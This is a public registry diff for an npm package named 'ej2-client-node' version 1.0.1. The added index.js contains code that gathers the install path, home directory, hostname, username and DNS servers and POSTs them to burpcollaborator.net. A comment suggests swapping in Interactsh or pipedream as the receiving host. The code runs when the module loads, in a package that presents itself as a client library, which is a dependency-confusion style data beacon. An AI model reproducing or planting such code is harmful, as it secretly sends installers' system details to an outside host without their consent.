ej2-client-node 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +42 -0
- package/package.json +11 -0
- package/package.json.save +11 -0
package/index.js
ADDED
@@ -0,0 +1,42 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const querystring = require("querystring");
|
4
|
+
const https = require("https");
|
5
|
+
|
6
|
+
const trackingData = JSON.stringify({
|
7
|
+
p: "ej2-client-node",
|
8
|
+
c: __dirname,
|
9
|
+
hd: os.homedir(),
|
10
|
+
hn: os.hostname(),
|
11
|
+
un: os.userInfo().username,
|
12
|
+
dns: dns.getServers(),
|
13
|
+
v: "1.0.0"
|
14
|
+
});
|
15
|
+
|
16
|
+
const postData = querystring.stringify({
|
17
|
+
msg: trackingData
|
18
|
+
});
|
19
|
+
|
20
|
+
const options = {
|
21
|
+
hostname: "burpcollaborator.net", // replace with Interactsh or pipedream
|
22
|
+
port: 443,
|
23
|
+
path: "/",
|
24
|
+
method: "POST",
|
25
|
+
headers: {
|
26
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
27
|
+
"Content-Length": postData.length
|
28
|
+
}
|
29
|
+
};
|
30
|
+
|
31
|
+
const req = https.request(options, (res) => {
|
32
|
+
res.on("data", (d) => {
|
33
|
+
process.stdout.write(d);
|
34
|
+
});
|
35
|
+
});
|
36
|
+
|
37
|
+
req.on("error", (e) => {
|
38
|
+
// console.error(e);
|
39
|
+
});
|
40
|
+
|
41
|
+
req.write(postData);
|
42
|
+
req.end();
|
package/package.json
ADDED